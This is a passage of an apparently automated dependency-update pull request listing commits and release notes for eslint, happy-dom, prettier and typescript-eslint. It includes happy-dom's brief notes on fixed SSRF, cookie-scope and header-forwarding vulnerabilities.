href=\"https://github.com/eslint/eslint/commit/4637f9827a1ba137498eaee70957850621082815\"\u003e\u003ccode\u003e4637f98\u003c/code\u003e\u003c/a\u003e 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96df05ceb7000813859acf16a690f8a8bbbea904\"\u003e\u003ccode\u003e96df05c\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v9.39.5...v10.13.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `happy-dom` from 20.14.5 to 21.0.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/capricorn86/happy-dom/releases\"\u003ehappy-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev21.0.3\u003c/h2\u003e\n\u003ch3\u003e:construction_worker_man: Patch fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes security vulnerability where authorization header was forwarded when redirecting - By \u003cstrong\u003e\u003ca href=\"https://github.com/capricorn86\"\u003e\u003ccode\u003e@​capricorn86\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev21.0.2\u003c/h2\u003e\n\u003ch3\u003e:construction_worker_man: Patch fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes SSRF security vulnerability by doing a target-origin bypass in the proxy server in \u003ca href=\"https://github.com/capricorn86/happy-dom/wiki/Server-Renderer\"\u003e@​happy-dom/server-renderer\u003c/a\u003e - By \u003cstrong\u003e\u003ca href=\"https://github.com/capricorn86\"\u003e\u003ccode\u003e@​capricorn86\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev21.0.1\u003c/h2\u003e\n\u003ch3\u003e:construction_worker_man: Patch fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdds aliases \u003ccode\u003e--css\u003c/code\u003e and \u003ccode\u003e--iframe\u003c/code\u003e for enabling CSS and iframe loading to \u003ca href=\"https://github.com/capricorn86/happy-dom/wiki/Server-Renderer\"\u003e@​happy-dom/server-renderer\u003c/a\u003e - By \u003cstrong\u003e\u003ca href=\"https://github.com/capricorn86\"\u003e\u003ccode\u003e@​capricorn86\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev21.0.0\u003c/h2\u003e\n\u003ch3\u003e:bomb: Breaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDisables CSS and IFrame loading by default to prevent \u003ca href=\"https://en.wikipedia.org/wiki/Server-side_request_forgery\"\u003eserver-side request forgery (SSRF)\u003c/a\u003e - By \u003cstrong\u003e\u003ca href=\"https://github.com/capricorn86\"\u003e\u003ccode\u003e@​capricorn86\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eAn attacker could embed \u003ccode\u003e\u0026lt;iframe\u0026gt;\u003c/code\u003e or \u003ccode\u003e\u0026lt;link rel=\u0026quot;stylesheet\u0026quot;\u0026gt;\u003c/code\u003e elements in untrusted HTML to make Happy DOM send HTTP requests from the server to attacker-chosen URLs, including internal services. This could allow access to otherwise unreachable endpoints or trigger unintended actions, depending on the application and its network access.\u003c/li\u003e\n\u003cli\u003eThe settings property \u003ccode\u003edisableCSSFileLoading\u003c/code\u003e has been deprecated\u003c/li\u003e\n\u003cli\u003eAdded the new settings properties \u003ca href=\"https://github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties\"\u003eenableCSSFileLoading\u003c/a\u003e and \u003ca href=\"https://github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties\"\u003eenableIframePageLoading\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIf you don't believe that you are at risk, you can keep the same behavior as in \u003ccode\u003e\u0026lt;=v20.14.6\u003c/code\u003e by sending in \u003ccode\u003e{ enableCSSFileLoading: true, enableIframePageLoading: true }\u003c/code\u003e as \u003ca href=\"https://github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings\"\u003ebroswer settings\u003c/a\u003e (e.g. \u003ccode\u003enew Window({ settings })\u003c/code\u003e);\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev20.14.6\u003c/h2\u003e\n\u003ch3\u003e:construction_worker_man: Patch fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes cookie scope forgery vulnerability - By \u003cstrong\u003e\u003ca href=\"https://github.com/capricorn86\"\u003e\u003ccode\u003e@​capricorn86\u003c/code\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/capricorn86/happy-dom/commit/875ef5c647b336cc933c82426c9d780a5aab84f9\"\u003e\u003ccode\u003e875ef5c\u003c/code\u003e\u003c/a\u003e fix: Fixes security vulnerability where authorization header was forwarded wh...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/capricorn86/happy-dom/commit/1f3ffdf634231361de1a2acb629b4fe8ee1bd85d\"\u003e\u003ccode\u003e1f3ffdf\u003c/code\u003e\u003c/a\u003e fix: Fixes SSRF security vulnerability by doing a target-origin bypass in the...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/capricorn86/happy-dom/commit/f55c7e0852a3ecf33252d4955f260a5246f3f63e\"\u003e\u003ccode\u003ef55c7e0\u003c/code\u003e\u003c/a\u003e chore: Update security documentation (\u003ca href=\"https://redirect.github.com/capricorn86/happy-dom/issues/2509\"\u003e#2509\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/capricorn86/happy-dom/commit/2b91e68e1748f2a1d597f650594a5c2f95b2a011\"\u003e\u003ccode\u003e2b91e68\u003c/code\u003e\u003c/a\u003e fix: Adds alias for enabling CSS and iframe loading in server-renderer (\u003ca href=\"https://redirect.github.com/capricorn86/happy-dom/issues/2503\"\u003e#2503\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74\"\u003e\u003ccode\u003e0a99c75\u003c/code\u003e\u003c/a\u003e BREAKING CHANGE: Disables CSS and IFrame loading by default (\u003ca href=\"https://redirect.github.com/capricorn86/happy-dom/issues/2502\"\u003e#2502\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3\"\u003e\u003ccode\u003ef21dbd7\u003c/code\u003e\u003c/a\u003e fix: Fixes cookie scope forgery vulnerability (\u003ca href=\"https://redirect.github.com/capricorn86/happy-dom/issues/2477\"\u003e#2477\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/capricorn86/happy-dom/compare/v20.14.5...v21.0.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.9.6 to 3.9.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on performance (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20266\"\u003e#20266\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.10/CHANGELOG.md#3910\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix text with \u003ccode\u003e$\u003c/code\u003e been incorrectly parsed as math syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20140\"\u003e#20140\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.9/CHANGELOG.md#399\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Don't let Liquid objects interrupt paragraphs (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20087\"\u003e#20087\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.8/CHANGELOG.md#398\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSupport Angular 22.2\u003c/li\u003e\n\u003cli\u003eFix regressions in v3.9\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.7/CHANGELOG.md#397\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.10\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.9...3.9.10\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on performance (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20266\"\u003e#20266\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/micromark/micromark-extension-gfm-table/commit/4f43ead37b786bc531d924530d4ab4c714886267\"\u003ehttps://github.com/micromark/micromark-extension-gfm-table/commit/4f43ead37b786bc531d924530d4ab4c714886267\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch1\u003e3.9.9\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.8...3.9.9\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Fix text with \u003ccode\u003e$\u003c/code\u003e been incorrectly parsed as math syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20140\"\u003e#20140\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"md\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n**Uses $FOO** from `a.sh` and `b.sh`, plus `$BAR` from `c.sh`, before anything else runs here.\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.8 --\u0026gt;\n\u003cstrong\u003eUses $FOO\u003c/strong\u003e from \u003ccode\u003ea.sh\u003c/code\u003e and \u003ccode\u003eb.sh\u003c/code\u003e, plus \u003ccode\u003e$BAR\u003c/code\u003efrom\u003ccode\u003ec.sh\u003c/code\u003e, before anything else runs here.\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.9 --\u0026gt;\n\u003cstrong\u003eUses $FOO\u003c/strong\u003e from \u003ccode\u003ea.sh\u003c/code\u003e and \u003ccode\u003eb.sh\u003c/code\u003e, plus \u003ccode\u003e$BAR\u003c/code\u003e from \u003ccode\u003ec.sh\u003c/code\u003e, before anything else runs here.\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch1\u003e3.9.8\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.7...3.9.8\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Don't let Liquid objects interrupt paragraphs (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20087\"\u003e#20087\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"markdown\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\nIf `module` is not a [`WebAssembly.Module`](https://github.com/prettier/prettier/blob/main/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module) object instance, a\n{{jsxref(\u0026quot;TypeError\u0026quot;)}} is thrown.\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.7 --\u0026gt;\nIf \u003ccode\u003emodule\u003c/code\u003e is not a \u003ca href=\"https://github.com/prettier/prettier/blob/main/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module\"\u003e\u003ccode\u003eWebAssembly.Module\u003c/code\u003e\u003c/a\u003e object instance, a\u003c/p\u003e\n\u003cp\u003e{{jsxref(\u0026quot;TypeError\u0026quot;)}} is thrown.\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.8 --\u0026gt;\nIf \u003ccode\u003emodule\u003c/code\u003e is not a \u003ca href=\"https://github.com/prettier/prettier/blob/main/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module\"\u003e\u003ccode\u003eWebAssembly.Module\u003c/code\u003e\u003c/a\u003e object instance, a\n{{jsxref(\u0026quot;TypeError\u0026quot;)}} is thrown.\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch1\u003e3.9.7\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/1172b82c295c4f889fd787dc6c78c3e194ebf353\"\u003e\u003ccode\u003e1172b82\u003c/code\u003e\u003c/a\u003e Release 3.9.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/d0142273aff2c76f8a69785d42ee2cedc4b0aaa3\"\u003e\u003ccode\u003ed014227\u003c/code\u003e\u003c/a\u003e Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on perfor...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/953b9084329dcd06ed1072a04b333f1e6e9371e8\"\u003e\u003ccode\u003e953b908\u003c/code\u003e\u003c/a\u003e Bump Prettier dependency to 3.9.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/ad8a6bf4fa23c42fd114683fec43b28a11bd24af\"\u003e\u003ccode\u003ead8a6bf\u003c/code\u003e\u003c/a\u003e Clean changelog_unreleased\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cdd17f2288b28b170a76416c72dac56e3ea5daff\"\u003e\u003ccode\u003ecdd17f2\u003c/code\u003e\u003c/a\u003e Release 3.9.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/dc7b8968e678f51ea00e2be3fe8c717d114691a3\"\u003e\u003ccode\u003edc7b896\u003c/code\u003e\u003c/a\u003e Disable \u003ccode\u003esingleDollarTextMath\u003c/code\u003e in \u003ccode\u003emdast-util-math\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/20140\"\u003e#20140\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/f9be58fb8ec62dd47197ea19a30aac5ad26dfee0\"\u003e\u003ccode\u003ef9be58f\u003c/code\u003e\u003c/a\u003e Git blame ignore 3.9.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/88470cb79ca3b757dd6b93906d9a992aa1a456c3\"\u003e\u003ccode\u003e88470cb\u003c/code\u003e\u003c/a\u003e Bump Prettier dependency to 3.9.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/9559cab39eb5082c99a27e8829760c055adba841\"\u003e\u003ccode\u003e9559cab\u003c/code\u003e\u003c/a\u003e Clean changelog_unreleased\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/4fc8ee87465de8d54780273a6996d74e8e9da827\"\u003e\u003ccode\u003e4fc8ee8\u003c/code\u003e\u003c/a\u003e Update dependents count\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/prettier/compare/3.9.6...3.9.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript-eslint` from 8.70.0 to 8.71.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003etypescript-eslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.71.2\u003c/h2\u003e\n\u003ch2\u003e8.71.2 (2026-10-12)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unused-vars] avoid false-positives when not using our parser (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12989\"\u003e#12989\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-parameters] count instantiated mapped type templates (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12974\"\u003e#12974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unused-vars] ignore type-only refs for after-used (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12977\"\u003e#12977\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-parameters] parenthesize constraint in optional tuple elements (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12995\"\u003e#12995\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-optional-chain] safe fix when the chain ends with a strict null comparison (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12805\"\u003e#12805\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e match linked packages and packages with missing version in \u003ccode\u003eTypeOrValueSpecifier\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12948\"\u003e#12948\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAbraham Guo\u003c/li\u003e\n\u003cli\u003eBrad Zacher \u003ca href=\"https://github.com/bradzacher\"\u003e\u003ccode\u003e@​bradzacher\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJosh Goldberg\u003c/li\u003e\n\u003cli\u003eVinccool96\u003c/li\u003e\n\u003cli\u003eYounsang Na \u003ca href=\"https://github.com/nayounsang\"\u003e\u003ccode\u003e@​nayounsang\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.2\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.71.1\u003c/h2\u003e\n\u003ch2\u003e8.71.1 (2026-10-05)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-misused-promises] skip argument checks for calls without arguments (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12923\"\u003e#12923\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unused-vars] report usedOnlyAsType for partially exported merged declarations (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12892\"\u003e#12892\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] use array argument type constraint (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12919\"\u003e#12919\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unsafe-enum-assignment] skip identical types and bound deep type walks (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12957\"\u003e#12957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-confusing-void-expression] don't autofix when declared return type is unknown (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12930\"\u003e#12930\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-optional-chain] check the constrained type (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12953\"\u003e#12953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-parameters] count instantiated mapped type constraints (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12941\"\u003e#12941\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eproject-service:\u003c/strong\u003e throttle cleanup when opening files (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12934\"\u003e#12934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e match re-exports and global declarations in \u003ccode\u003eTypeOrValueSpecifier\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12943\"\u003e#12943\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDiptajoy Mistry \u003ca href=\"https://github.com/diptomistry\"\u003e\u003ccode\u003e@​diptomistry\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJosh Goldberg\u003c/li\u003e\n\u003cli\u003eJosh Goldberg ✨\u003c/li\u003e\n\u003cli\u003eMedhansh Poojari\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md\"\u003etypescript-eslint's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.71.2 (2026-10-12)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.2\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.71.1 (2026-10-05)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca 